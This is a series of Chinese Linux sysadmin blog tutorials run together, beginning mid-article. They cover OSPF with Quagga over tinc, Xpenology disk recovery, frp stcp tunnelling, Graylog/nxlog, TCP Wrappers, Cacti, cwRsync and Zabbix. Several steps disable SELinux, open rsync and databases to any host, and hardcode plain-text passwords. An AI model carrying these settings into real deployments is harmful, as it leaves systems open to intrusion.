ospfd​2、vtysh进行配置ospf​主节点配置步骤如下VM-0-17-centos# conf t VM-0-17-centos(config)# interface eth0 VM-0-17-centos(config-if)# description Server_eth0 VM-0-17-centos(config-if)# no shut VM-0-17-centos(config-if)# exit VM-0-17-centos(config)# interface tinctun VM-0-17-centos(config-if)# description Server_tinctun VM-0-17-centos(config-if)# no shut VM-0-17-centos(config-if)# exit VM-0-17-centos(config)# router ospf VM-0-17-centos(config-router)# router-id 1.1.1.1 VM-0-17-centos(config-router)# network 10.254.254.0/24 area 0 VM-0-17-centos(config-router)# network 10.206.0.17/20 area 0 VM-0-17-centos(config-router)# exit VM-0-17-centos(config)# log file /var/log/quagga/ospfd.log VM-0-17-centos(config)# exit VM-0-17-centos# wr Building Configuration... Configuration saved to /etc/quagga/zebra.conf Configuration saved to /etc/quagga/ospfd.conf [OK]​分支节点配置步骤如下 vtyshHello, this is Quagga (version 0.99.22.4). centos.walkingcloud.cn# conf t centos.walkingcloud.cn(config)# interface ens33 centos.walkingcloud.cn(config-if)# description Slave_ens33 centos.walkingcloud.cn(config-if)# no shut centos.walkingcloud.cn(config-if)# exit centos.walkingcloud.cn(config)# interface tinctun centos.walkingcloud.cn(config-if)# description Slave_tinctun centos.walkingcloud.cn(config-if)# no shut centos.walkingcloud.cn(config-if)# exit centos.walkingcloud.cn(config)# centos.walkingcloud.cn(config)# exit centos.walkingcloud.cn# conf t centos.walkingcloud.cn(config)# router ospf centos.walkingcloud.cn(config-router)# router-id 2.2.2.2 centos.walkingcloud.cn(config-router)# network 192.168.31.0/24 area 0 centos.walkingcloud.cn(config-router)# network 10.254.254.0/24 area 0 centos.walkingcloud.cn(config-router)# network 192.168.1.1/24 area 0 centos.walkingcloud.cn(config-router)# exit centos.walkingcloud.cn(config)# log file /var/log/quagga/ospfd.log centos.walkingcloud.cn(config)# exit centos.walkingcloud.cn# wr Building Configuration... Configuration saved to /etc/quagga/zebra.conf centos.walkingcloud.cn# exit3、防火墙放通ospf协议firewall-cmd --permanent --zone=public --add-protocol=ospf firewall-cmd --reload并重启ospf和zebra服务systemctl restart zebra systemctl restart ospfd​​​4、ospf状态检查可以用vtysh中 show ip ospf neighbor检查邻居是否建立show ip route查看对方是否学习到对方的ospf路由show ip ospf neighbor show ip route​​​​5、最后进行连通性测试​​​​​四、总结1、本文只是测试使用quagga并使用ospf协议,实际中为了简单起见,可以直接使用静态路由即可2、当然个人家庭网络中不会把Linux服务器作为出口路由使用,可以openwrt路由器安装tinc来实现

三步拯救黑群晖(DSM7.0.1)磁盘中的数据

三步拯救黑群晖(DSM7.0.1)磁盘中的数据之前有介绍如何在ESXi7.0中安装黑群晖DSM7.0.1 ESXi7.0下安装群晖DSM7.0.1的视频教程PVE环境下安装黑群晖DS918+ DSM7.0最近使用过一段时间,稳定好用但看到有新DSM版本可以进行更新 DSM7.0.1-42218(旧版本DSM7.0.1-42214为RC版本) 然后未加思考就直接下载升级了结果就是升级后无法黑群晖无法正常启动了,只能想办法拯救一下里面之前保存的一些数据具体步骤如下1、先将原黑群晖的数据盘vmdk文件挂到CentOS7.9的虚拟机中这时mount进行尝试挂载lsblkmount /dev/sdb3 /opt挂载时报如下错误mount /dev/sdb3 /opt mount: unknown filesystem type 'linux_raid_member'​​​​lsblk -flsblk -f这时发现为linux_raid_member的文件系统 2、安装mdadm模拟RAID组yum install mdadm mdadm --assemble --run /dev/md0 /dev/sdb3​​​​​​3、挂载并拷贝数据到本地mount /dev/vg1/volume_1 /opt​​​这时就可以正常访问黑群晖数据磁盘中的数据了例如cp 文件到/home目录 然后SFTP下载到本地就可以以上就是三步拯救黑群晖(DSM7.0.1)磁盘中的数据全过程

使用Frp的stcp实现安全内网穿透访问

1、场景描述一直使用frp内网穿透将家里的PC机映射到公网云主机,供外网随时访问可以参考之前的文章Linux下内网穿透工具Frp的简单使用腾讯云主机上部署FRP+Teamviewer穿透内网进行远程运维最近看到frp的官方文档中关于STCP的概念 对于某些服务来说如果直接暴露于公网上将会存在安全隐患。 使用 stcp(secret tcp) 类型的代理可以避免让任何人都能访问到要穿透的服务,但是访问者也需要运行另外一个 frpc 客户端https://gofrp.org/docs/examples/stcp/也参考搜到的一些配置案例(具体链接如下)http://blog.itpub.net/31559985/viewspace-2731496/ https://blog.csdn.net/htxhtx123/article/details/104219317 https://www.linuxprobe.com/frp-tcpstcp-ssh-homelinux.html2、拓扑环境+需求场景打算在如下环境中动手实践一下如下图拓扑图所示 A内网中 :1、CentOS7.9虚拟机192.168.60.105上安装frpc客户端,向云主机frps服务端注册 2、Win10机器(192.168.60.112) Teamviewer15B内网中:1、CentOS7.9虚拟机192.168.31.232上安装frpc客户端,向云主机frps服务端注册2、Win10机器(192.168.31.78) Teamviewer15最终要实现 A内网win10机器Teamviewer访问192.168.60.105的5938端口就可以内网穿透直接访问B内网中win7(192.168.31.78)的Teamviewer同样B内网win7机器Teamviewer访问192.168.31.232的5938端口就可以内网穿透直接访问A内网中Win10(192.168.60.112)的Teamviewer 达到相互的目的,并且不用在云主机上暴露其它端口3、实现的具体配置步骤1、A内网的CentOS7.9安装frpc,配置frpc.inifrp的下载地址 https://github.com/fatedier/frp/releasestar -zxvf frp_0.37.1_linux_amd64.tar.gz -C /usr/local/ cd /usr/local/ mv frp_0.37.1_linux_amd64 frp cd frp vim frpc.ini [root@centos frp]# cat frpc.ini [common] server_addr = 云服务器公网IP server_port = 云服务器FRPS端口 authentication_method = token authenticate_heartbeats = false authenticate_new_work_conns = XXXXXXX(自行定义) log_file = /usr/local/frp/logs/frpc.log log_level = info log_max_days = 30 [stcp_tv_nuc_win7] type = stcp sk = walkingcloud local_ip = 192.168.31.78 local_port = 5938 [stcp_centos_105] type = stcp role = visitor sk = walkingcloud server_name = stcp_tv_b550m bind_addr = 192.168.60.105 bind_port = 5938 cd /usr/local/frp chown -R root:root /usr/local/frp/ mkdir logs chown nobody:nobody logs touch logs/frpc.log chown nobody:nobody logs/frpc.log vim systemd/frpc.service #修改文件 [Unit] Description=Frp Client Service After=network.target [Service] Type=simple User=nobody Restart=on-failure RestartSec=5s ExecStart=/usr/local/frp/frpc -c /usr/local/frp/frpc.ini ExecReload=/usr/local/frp/frpc reload -c /usr/local/frp/frpc.ini LimitNOFILE=1048576 [Install] WantedBy=multi-user.target cp systemd/frpc.service /usr/lib/systemd/system/ systemctl enable frpc.service systemctl start frpc.service tail -f /usr/local/frp/logs/frpc.log 2、B内网的CentOS7.9安装frpc,配置frpc.ini安装frp步骤与上面A内网的一致,不同是frpc.ini的配置vim /usr/local/frp/frpc.ini [common] server_addr = 云服务器公网IP server_port = 云服务器FRPS端口 authentication_method = token authenticate_heartbeats = false authenticate_new_work_conns = XXXXXXX(自行定义) log_file = /usr/local/frp/logs/frpc.log log_level = info log_max_days = 30 [stcp_tv_nucwin7] type = stcp sk = walkingcloud local_ip = 192.168.31.78 local_port = 5938 [stcp_centos_232] type = stcp role = visitor sk = walkingcloud server_name = stcp_tv_b550m bind_addr = 192.168.31.232 bind_port = 5938注意,配置中server_name 为对端的定义服务标签名,A内网与B内网要相互对应上3、firewalld防火墙开放5938端口firewall-cmd --permanent --zone=public --add-port=5938/tcp firewall-cmd --reload​​​当然我这里Win10与Win7的Teamviewer都开启了接受呼入的LAN连接4、验证测试1)、A内网win10机器Teamviewer访问192.168.60.105的5938端口可以看出已经成功访问到B内网中win7(192.168.31.78)的Teamviewer​​2)、B内网win7机器Teamviewer访问192.168.31.232的5938端口可以看出已经成功访问到A内网中Win10(192.168.60.112)的Teamviewer5、总结1)、使用STCP的FRP内网穿透无需在云主机上面开放其它端口,可以实现安全内网穿透访问2)、后续可以考虑进行P2P点对点内网穿透,有空再进行尝试不通过服务器中转流量的方式来访问内网服务。frp 提供了一种新的代理类型 xtcp 用于应对在希望传输大量数据且流量不经过服务器的场景。使用方式同 stcp 类似,需要在两边都部署上 frpc 用于建立直接的连接。目前处于开发的初级阶段,并不能穿透所有类型的 NAT 设备,所以穿透成功率较低。穿透失败时可以尝试 stcp 的方式

使用EVE-NG模拟山石网科防火墙syslog日志接入GrayLog4.1(下)

6、GrayLog配置SyslogInput接收firewall-cmd --zone=public --add-port=1514/udp –permanent防火墙上配置日志服务器,测试日志接收,并查询日志-三、安装Nxlog实现编码转换可能网络设备发送过来的日志编码非UTF-8编码,在GrayLogServer上呈现出中文乱码的情况 针对这种情况可以借助nxlog实现转换为UTF-8编码,解决中文乱码问题  具体原理(Nxlog也安装GrayLogServer这台服务器上)rpm -ivh nxlog-ce-2.11.2190-1_rhel7.x86_64.rpm 会提示缺少依赖包 yum localinstall nxlog-ce-2.11.2190-1_rhel7.x86_64.rpm 1、前端网络设备先发到nxlog的1513端口,nxlog开放UDP 1513用于接收 2、nxlog配置文件修改,进行编码转换,转换成UTF-8编码 3、再发送GrayLog的UDP 1514端口cp /etc/nxlog.conf /etc/nxlog.conf_bak vim /etc/nxlog.conf 配置文件中主要段如下 <Extension _syslog> Module xm_syslog </Extension> <Extension charconv> Module xm_charconv AutodetectCharsets gbk,utf-8, euc-jp, utf-16, utf-32, iso8859-2 </Extension> <Input in1> Module im_udp Host 192.168.31.127 Port 1513 Exec convert_fields("auto", "utf-8"); </Input> <Output out1> Module om_udp Host 192.168.31.127 Port 1514 </Output> ######################################## # Routes # ######################################## <Route graylog-utf-8> Path in1 => out1 </Route>firewall-cmd --permanent --zone=public --add-port=1513/udp firewall-cmd --reload service nxlog restart chkconfig --list | grep nxlog验证效果若有遇到这种情况时可以采用这种nxlog转换编码的方案四、GrayLogServer中日志源source显示名称问题在图中可以看到source一直为0010097503844724(root),不太直观可以通过pipeline规则来实现显示名称修改参考如下链接解决https://community.graylog.org/t/making-source-field-show-hostname-instead-of-ip-address/7801步骤如下1、创建Pipeline2、配置rules 语法配置如下rule "CorrectHillstoneDeviceName" has_field("source") AND contains(to_string($message.source), "0010097503844724(root)") set_field("source", "Hillstone"); end3、然后再应用到Stream "All messages"中 就可以完美解决这个问题切换为暗黑模式​

使用EVE-NG模拟山石网科防火墙syslog日志接入GrayLog4.1(上)

先上最终的效果图:防火墙NAT日志在GrayLogServer4.1的呈现的效果下面细说具体的步骤一、EVE-NG下模拟网络设备syslog日志 使用的是EVE-NG社区懒人版,测试使用hillstone山石网科防火墙链接: https://pan.baidu.com/s/15G_ONhBD7TpZo3w0vKmU0g 提取码: xucy搭建的拓扑也很简单(典型的简单企业园区网)1、Hillstone防火墙 E0/0 DHCP 桥接PC本地网卡作为外网WAN 192.168.31.163E0/1 10.10.10.253  与三层交换机G0/0互联2、Cisco Switch三层交换机 G0/0 VLAN100 VLAN IP 10.10.10.254 G0/1 VLAN200 VLAN IP 10.10.200.13、测试PC IP 10.10.200.200 VLAN200 拓扑如下这里就不详细描述园区网各设备的具体配置过程了主要就是模拟山石网科防火墙的日志发送 二、GrayLogServer 4.1版本的搭建之前有搭建过GraryLog,链接如下CentOS7下部署Graylog开源日志管理系统GrayLogServer 4.1版本的搭建步骤大同小异1、配置yum源,安装jdk+pwgenwget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo yum install -y java-1.8.0-openjdk-headless.x86_64 yum install -y pwgen2、安装MongoDB4.4vi /etc/yum.repos.d/mongodb-org.repo #修改成如下行 [mongodb-org] name=MongoDB Repository baseurl=https://mirrors.aliyun.com/mongodb/yum/redhat/$releasever/mongodb-org/4.4/x86_64/ gpgcheck=1 enabled=1 gpgkey=https://www.mongodb.org/static/pgp/server-4.4.ascyum install mongodb-org systemctl daemon-reload systemctl enable mongod.service systemctl start mongod.service systemctl --type=service --state=active | grep mongod3、安装Elasticsearch7.14版本先创建Elasticsearch数据存储和日志目录,建议要使用磁盘分区容量较大的目录mkdir -p /opt/elasticsearch/data mkdir -p /opt/elasticsearch/logs chown -R elasticsearch:elasticsearch /opt/elasticsearch​​腾讯云镜像站Elastic源中下载elasticsearch的rpm包,进行本地rpm安装https://mirrors.cloud.tencent.com/elasticstack/yum/elastic-7.x/7.14.0/elasticsearch-7.14.0-x86_64.rpmrpm -ihv elasticsearch-7.14.0-x86_64.rpm systemctl daemon-reload systemctl enable elasticsearch.service systemctl restart elasticsearch.servicecp /etc/elasticsearch/elasticsearch.yml /etc/elasticsearch/elasticsearch.yml_default 并修改配置文件 vi/etc/elasticsearch/elasticsearch.yml #添加或修改如下行 cluster.name:graylog action.auto_create_index:false path.data: /opt/elasticsearch/data path.logs: /opt/elasticsearch/logs​4、安装GrayLogServer4.1rpm -Uvh https://packages.graylog2.org/repo/packages/graylog-4.1-repository_latest.rpm yum install graylog-server​​5、修改Graylog相关配置文件cp /etc/graylog/server/server.conf /etc/graylog/server/server.conf_default pwgen -N 1 -s 96 Joznyj3G5p13hwaIwdvZVJ9TfiPcb4PINOdSPH3uq5GKFaG9jvgsgjQNGVrUwy4F057PTYBmP7dJP6Svx8t8w1h61hVhVUcX echo -n "Enter Password: " && head -1 </dev/stdin | tr -d '\n' | sha256sum | cut -d" " -f1 Enter Password: Graylog@2021 10dfabb9595634675701865aa1c6e774d89d59f4a104ab128fbffcdaa3cf8f7b修改graylogserver配置文件vim /etc/graylog/server/server.conf root_timezone = Asia/Shanghai allow_highlighting = true http_bind_address = 0.0.0.0:90001)、admin帐号2)、时区设置 3)、查询结果高亮 4)、http绑定的IP与端口 5)、重启服务并防火墙开放9000端口systemctl daemon-reload systemctl enable graylog-server.service systemctl start graylog-server.service firewall-cmd --zone=public --add-port=9000/tcp --permanent firewall-cmd --reload

SUSE12 SP5系统使用TCP Wrappers实现限制SSH访问控制

SUSE Linux Enterprise 12 (SLES12) SP5系统使用TCP Wrappers实现SSH访问控制之前有写过在CentOS7系统上使用TCP Wrappers实现SSH访问控制利用tcp_wrapper实现SSH登录的IP访问控制再结合网上收集的文件作为参考https://blog.csdn.net/cwg_xiaoguizi/article/details/81124054准备套用在SLES12 SP5的系统上1、SLES12 SP5测试环境搭建SLES12 SP5的系统 192.168.31.11cat /etc/os-release which sshd ldd /usr/sbin/sshd | grep -i libwrap2、配置/etc/hosts.allow和/etc/hosts.denyvi /etc/hosts.allow 添加允许访问SLES12SP5的IP 192.168.31.47 sshd : 192.168.31.47 :ALLOW​​vi /etc/hosts.deny sshd : ALL EXCEPT LOCAL 拒绝所有IP访问SSH​3、准备验证效果192.168.31.47可以正常登录 ​​​192.168.31.105也可以正常登录SLES12 SP5系统(192.168.31.11)的SSH 这下翻车了,啪啪打脸,访问控制居然不生效4、搜索引擎开始求证配置反复检查也没有问题 搜索了很多SUSE官方论坛的话题,各种说法都有链接如下https://www.tecmint.com/secure-linux-tcp-wrappers-hosts-allow-deny-restrict-access/ https://www.oreilly.com/library/view/linux-security-cookbook/0596003919/ch03s13.html https://forums.opensuse.org/showthread.php/505226-Is-file-etc-hosts-deny-disabled-on-OpensSuse-13-2 https://forums.opensuse.org/showthread.php/508618-openSUSE-13-2-sshd-bypass-hosts-allow-file https://blog.csdn.net/cwg_xiaoguizi/article/details/81124054hosts.allow has been deprecated and is no longer used. 这个说法差点我就信了 正准备放弃时,准备替代方案例如/etc/ssh/sshd_config 配置文件中加入限制AllowUsers root@192.168.31.47 突然发现#UseTCPWrappers yes这个参数感觉有戏了vi /etc/ssh/sshd_config UseTCPWrappers yes systemctl restart sshd5、这时验证效果访问控制生效,问题解决 ​​6、优化:加入日志打印vi /etc/hosts.deny 修改成如下 sshd : ALL EXCEPT LOCAL : spawn echo `date` login attempt from %c to %s ,the host is %h .PID再验证效果 ,系统正常打印拒绝时的日志问题解决!7、总结结论:大胆假设,小心求证!(八字箴言送给大家)​

CentOS7下部署开源监控平台Cacti(下)

5、安装cacti,snmp,rrdtool等环境yum --enablerepo=epel -y install cacti net-snmp net-snmp-utils php-mysql php-snmp rrdtool配置snmpd.conf,定义团体名vim /etc/snmp/snmpd.conf 注释掉41行 41行 #com2sec notConfigUser default public 设置团体名 76行 com2sec local localhost walkingcloud@2021 77行 com2sec mynetwork 192.168.0.0/16 walkingcloud@2021 85行 group MyRWGroup any local 86行 group MyROGroup any mynetwork 90行 view all included .1 80 100行 access MyROGroup "" any noauth 0 all none none 101行 access MyRWGroup "" any noauth 0 all all allsystemctl enable snmpd systemctl start snmpd firewall-cmd --permanent --zone=public --add-port=161/udp firewall-cmd --reload snmpwalk -v2c -c walkingcloud@2021 localhost system6、cacti数据库导入mysql -u cacti -p cacti < /usr/share/doc/cacti-1.2.15/cacti.sql mysql -u root -p​​​7、Cacti初始化vi /etc/cron.d/cacti取消#注释​修改配置文件中数据库连接vim /usr/share/cacti/include/config.phpvim /etc/httpd/conf.d/cacti.conf设置web访问IP重启httpd进行初始化 8、MySQL警告项排除步骤1、MySQL - 时区支持ERROR: 您的Cacti 数据库登录帐户无权访问MySQL TimeZone 数据库. 请提供Cacti 数据库帐户对 "mysql" 数据库中 "ti​me_zone_name" 表的 "select" 访问权,并在继续之前填充MySQL 的TimeZone 信息.mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u root -p mysql添加Cacti 数据库帐户对 "mysql" 数据库中 "time_zone_name" 表的 "select" 访问权mysql -uroot -p mysql > GRANT SELECT ON mysql.time_zone_name TO cacti@localhost IDENTIFIED BY 'Cacti@2021';2、MySQL参数优化vi /etc/my.cnf 添加如下参数vi /etc/my.cnf 添加如下参数 character-set-server=utf8mb4 collation-server=utf8mb4_unicode_ci max_allowed_packet=18M max_heap_table_size=128M tmp_table_size=256M join_buffer_size=256M innodb_buffer_pool_size=2048M innodb_doublewrite=ON innodb_buffer_pool_instances=18 innodb_io_capacity=5000 innodb_io_capacity_max=10000 innodb_flush_log_at_timeout=3 innodb_read_io_threads=32 innodb_write_io_threads=16 log-error = /var/log/mysql/mysql-error.log log-queries-not-using-indexes = 1 slow-query-log = 1 slow-query-log-file = /var/log/mysql/mysql-slow.logmkdir /var/log/mysql chown -R mysql:mysql /var/log/mysql systemctl restart mysqld9、继续初始化向导完成​​​​10、添加设备,查看监控图形说明以上只是Cacti服务端的部署,客户端主机监控加入的步骤限于篇幅不做详细介绍 后续再补充

CentOS7下部署开源监控平台Cacti(上)

Cacti简单介绍Cacti 在英文中的意思是仙人掌的意思,Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。它通过snmpget来获取数据,使用RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结构、host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大完善。Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件,除了基本的 Snmp 流量跟系统资讯监控外,Cacti 也可外挂 Scripts 及加上 Templates 来作出各式各样的监控图。下面介绍CentOS7下部署开源监控平台Cacti1、CentOS7操作系统初始环境准备curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo sed -i -e '/mirrors.cloud.aliyuncs.com/d' -e '/mirrors.aliyuncs.com/d' /etc/yum.repos.d/CentOS-Base.repo yum install -y lrzsz bash-completion vim wget net-tools ncdu iftop setenforce 0 sed -i 's/^SELINUX=.*$/SELINUX=disabled/' /etc/selinux/config初始化的历史命令如下2、安装httpd服务yum -y install httpd rm -rf /etc/httpd/conf.d/welcome.conf修改httpd.confvim /etc/httpd/conf/httpd.conf 151行 AllowOverride All 164行 DirectoryIndex index.html index.cgi index.php 最末行添加 ServerTokens Prod启动httpd服务systemctl start httpd systemctl enable httpd firewall-cmd --add-service=http --permanent firewall-cmd --reload3、安装php环境yum -y install php php-mbstring php-pearvim /etc/php.ini 修改时区配置 重启httpd服务并测试phpvi /var/www/html/index.php <html> <body> <div style="width: 100%; font-size: 40px; font-weight: bold; text-align: center;"> <?php print Date("Y/m/d"); ?> </div> </body> </html> cat /var/www/html/index.php systemctl restart httpdTips:500错误解决办法tail -f /var/log/httpd/error_log chmod 0755 /var/www/html/index.php4、安装并配置MySQL数据库配置MySQL的yum源进行安装cat > /etc/yum.repos.d/mysql-community.repo << \EOF [mysql-connectors-community] name=MySQL Connectors Community baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-connectors-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql [mysql-tools-community] name=MySQL Tools Community baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-tools-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql [mysql-5.7-community] name=MySQL 5.7 Community Server baseurl=https://mirrors.tuna.tsinghua.edu.cn/mysql/yum/mysql-5.7-community-el7-$basearch/ enabled=1 gpgcheck=1 gpgkey=https://repo.mysql.com/RPM-GPG-KEY-mysql yum -y install mysql-community-server.x86_64启动mysqld服务systemctl start mysqld systemctl enable mysqld netstat -anp | grep 3306 ps -ef | grep mysql firewall-cmd --zone=public --add-port=3306/tcp --permanent firewall-cmd --reload设置MySQL密码grep "temporary password" /var/log/mysqld.log mysql_secure_installation先创建cacti数据库mysql -u root -p mysql> create database cacti; mysql> grant all privileges on cacti.* to cacti@'localhost' identified by 'Cacti@2021'; mysql> flush privileges; mysql> exit

部署CwRsyncServer实现Linux下文件同步到WindowsServer服务器

部署CwRsyncServer实现Linux下文件同步到WindowsServer服务器​场景描述​需要将Linux 服务器某个目录下的所有文件定期同步到WindowsServer2012服务器上​尝试:前期使用过在WindowsServer2012服务器安装goodsync同步软件这种方案,通过SFTP协议同步Linux服务器某目录所有文件到本地的WindowsServer2012服务器上 但goodsync试用到期后需要购买授权收费 后面决定使用CwRsyncServer这种方法cwRsync简单介绍cwRsync是基于cygwin平台打造的rsync软件包,功能强大,绿色安全,可以支持windows对windows、windows对Linux、Linux对windows高效文件同步。使用 cwRsync 来同步文件后,只需要对一台主服务器进行文件修改,其他镜像服务器可以自动同步,包括文件的更新、删除、重命名等。下面介绍部署CwRsyncServer实现Linux下文件同步到WindowsServer服务器1、在Windows Server 2012服务器上先安装部署cwRsyncServer下载CwRsyncServer V4.1.0 正式版(自行百度)1、以管理员身份运行进行安装​​​2、系统自动创建用户SvcCWRSYNC,无需修改用户名,修改密码后直接默认安装用户SvcCWRSYNC只用来运行 cwRsyncServer 服务端程序并将服务启动设置为自动3、C:\Program Files (x86)\ICW目录下修改rsyncd.conf修改成如下use chroot = false uid = 0 gid = 0 strict modes = false hosts allow = * log file = rsyncd.log # Module definitions # Remember cygwin naming conventions : c:\work becomes /cygwin/c/work [backup] path = /cygdrive/c/Linux_backup read only = false transfer logging = yes auth users = cwrsync secrets file = etc/cwrsync.passwd其中C:\Linux_backup目录当作备份目录(目的端)Tips:uid = 0 gid = 0 记得加上,解决@ERROR: invalid gid nobody报错问题4、在C:\Program Files (x86)\ICW\etc目录下创建cwrsync.passwd密码文件cwrsync:cwrsync@2021写入授权用户cwrsync密码5、接下来创建Linux_backup目录 6、添加cwRsyncServer 873端口的入站防火墙规则 放通入方向的873端口​7、 然后重启RsyncServer服务2、Linux端部署rsync客户端并测试若没有安装rsync先yum安装yum install rsync​​cd /home/ dd if=/dev/zero of=test.file count=1 bs=100M创建测试文件测试是否可以正常同步传输rsync --progress -avz --delete /home/* cwrsync@192.168.31.12::backup3、编写脚本,利用crontab实现定时同步1、/opt/cwrsync.shvi /opt/cwrsync.sh #!/bin/bash export RSYNC_PASSWORD=cwrsync@2021 LOCK=/var/log/cwrsync_record.log echo "备份日期:" >> ${LOCK} 2>&1 echo `date '+%Y-%m-%d_%T'` >> ${LOCK} 2>&1 echo "=================cwRsync starting===============================" >> ${LOCK} 2>&1 rsync --progress -avz --delete /home/* cwrsync@192.168.31.12::backup >> ${LOCK} 2>&1 echo "=================cwRsync Finished===============================" >> ${LOCK} 2>&12、 编辑定制任务crontab -e 编辑定制任务 */5 * * * * /opt/cwrsync.sh 例如每5钟同步一次 crontab -l3 重启crond服务systemctl restart crond​4、再创建几个测试文件dd if=/dev/zero of=test_crontab.file count=1 bs=100M tail -f /var/log/cwrsync_record.log可以看到定时同步任务的执行情况日志可以看到定时同步成功WindowsServer端的rsync同步日志

CentOS7下Zabbix5.0+PostgreSQL12+TimescaleDB部署实践

CentOS7下Zabbix5.0+PostgreSQL12+TimescaleDB部署实践​​​一、Zabbix Server 安装1、YUM源配置及基础环境准备curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo sed -i -e '/mirrors.cloud.aliyuncs.com/d' -e '/mirrors.aliyuncs.com/d' /etc/yum.repos.d/CentOS-Base.repo常用软件安装yum install -y lrzsz bash-completion vim wget net-tools ncdu iftop关闭SELINUXsetenforce 0 sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config2、zabbix源配置并安装Zabbix Serverrpm -Uvh https://repo.zabbix.com/zabbix/5.0/rhel/7/x86_64/zabbix-release-5.0-1.el7.noarch.rpm sed -i "s#http://repo.zabbix.com#https://mirrors.aliyun.com/zabbix#g" /etc/yum.repos.d/zabbix.repo yum clean all yum install zabbix-server-pgsql zabbix-agent​​​3、安装zabbix webyum install centos-release-scl sed -i "s/enabled=0/enabled=1/g" /etc/yum.repos.d/zabbix.repo yum install zabbix-web-pgsql-scl zabbix-nginx-conf-scl​​​​​4、安装数据库PostgreSQL12wget https://mirrors.aliyun.com/postgresql/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm rpm -ivh pgdg-redhat-repo-latest.noarch.rpm sed -i "s#https://download.postgresql.org/pub/#https://mirrors.aliyun.com/postgresql/#g" /etc/yum.repos.d/pgdg-redhat-all.repo yum install -y postgresql12-server​​​​​​PostgreSQL数据库初始化/usr/pgsql-12/bin/postgresql-12-setup initdb systemctl enable --now postgresql-12 systemctl status postgresql-12.service5、TimescaleDB安装与配置先配置timesacledb源tee /etc/yum.repos.d/timescale_timescaledb.repo <<EOL [timescale_timescaledb] name=timescale_timescaledb baseurl=https://packagecloud.io/timescale/timescaledb/el/$(rpm -E %{rhel})/\$basearch repo_gpgcheck=1 gpgcheck=0 enabled=1 gpgkey=https://packagecloud.io/timescale/timescaledb/gpgkey sslverify=1 sslcacert=/etc/pki/tls/certs/ca-bundle.crt metadata_expire=300 EOLyum方式安装timesacleDByum install -y timescaledb-postgresql-12注意这里yum方式安装里会默认安装timescaledb-2-loader-postgresql-12-2.4.0-0.el7.x86_64这个包 而timescaledb-postgresql-12为1.7.5版本 需要降级timescaledb-2-loader-postgresql 为1.7.5版本可以手动官网下载1.7.5版本并进行安装yum remove timescaledb-2-loader-postgresql-12-2.4.0-0.el7.x86_64 rpm -ivh timescaledb-loader-postgresql-12-1.7.5-0.el7.x86_64.rpm yum install -y timescaledb-postgresql-12脚本进行参数初始化并重启postgresqltimescaledb-tune --pg-config=/usr/pgsql-12/bin/pg_config systemctl restart postgresql-126、zabbix数据库创建与数据库脚本导入创建初始zabbix数据库并导入创建zabbix用户设置密码 sudo -u postgres createuser --pwprompt zabbix 创建zabbix数据库 sudo -u postgres createdb -O zabbix zabbix​​​​开启timescaledb 插件echo "CREATE EXTENSION IF NOT EXISTS timescaledb CASCADE;" | sudo -u postgres psql zabbix​导入zabbix的postgresql和timescaledb数据库脚本zcat /usr/share/doc/zabbix-server-pgsql*/create.sql.gz | sudo -u zabbix psql zabbix zcat /usr/share/doc/zabbix-server-pgsql*/timescaledb.sql.gz | sudo -u zabbix psql zabbix7、postgresql数据库远程连接与认证配置PostgreSQL不支持远程连接,修改配置文件,添加或修改如下vim /var/lib/pgsql/12/data/postgresql.conf listen_addresses = '*’ port = 5432 max_connections = 500​​​​配置使用md5方式认证vim /var/lib/pgsql/12/data/pg_hba.conf host all all 0.0.0.0/0 md5修改完成后重启postgresql-12systemctl restart postgresql-12修改zabbix server配置文件中的数据库信息vim /etc/zabbix/zabbix_server.conf DBHost=127.0.0.1 DBPassword=zabbix@20218、修改php参数和nginx配置文件vi /etc/opt/rh/rh-php72/php-fpm.d/zabbix.conf 主要修改时区和ACL listen.acl_users = apache,nginx php_value[date.timezone] = Asia/Shanghai​cd /etc/opt/rh/rh-nginx116/nginx/ vim nginx.conf 默认的80端口修改为81vim /etc/opt/rh/rh-nginx116/nginx/conf.d/zabbix.conf 取消注释,使用80端口9、重启所有服务并配置开机自启动systemctl restart zabbix-server zabbix-agent rh-nginx116-nginx rh-php72-php-fpm systemctl enable zabbix-server zabbix-agent rh-nginx116-nginx rh-php72-php-fpm firewall-cmd --permanent --zone=public --add-port=10051/tcp firewall-cmd --permanent --zone=public --add-port=80/tcp firewall-cmd --permanent --zone=public --add-port=5432/tcp firewall-cmd --reload​​二、Zabbix5.0 Web界面初始化注意Database host 要由localhost改为127.0.0.1默认密码Admin/zabbix​三、Zabbix5.0 Agent安装1、zabbix agent安装rpm -Uvh https://repo.zabbix.com/zabbix/5.0/rhel/7/x86_64/zabbix-release-5.0-1.el7.noarch.rpm sed -i "s#http://repo.zabbix.com#https://mirrors.aliyun.com/zabbix#g" /etc/yum.repos.d/zabbix.repo yum install zabbix-agent​2​、修改配置文件修改配置文件中Server和ServerActive地址sed -i "s/Hostname=Zabbix server/Hostname=centos.walkingcloud.cn/g" /etc/zabbix/zabbix_agentd.conf sed -i "s/ServerActive=127.0.0.1/ServerActive=192.168.31.232/g" /etc/zabbix/zabbix_agentd.conf sed -i "s/Server=127.0.0.1/Server=192.168.31.232/g" /etc/zabbix/zabbix_agentd.conf cat 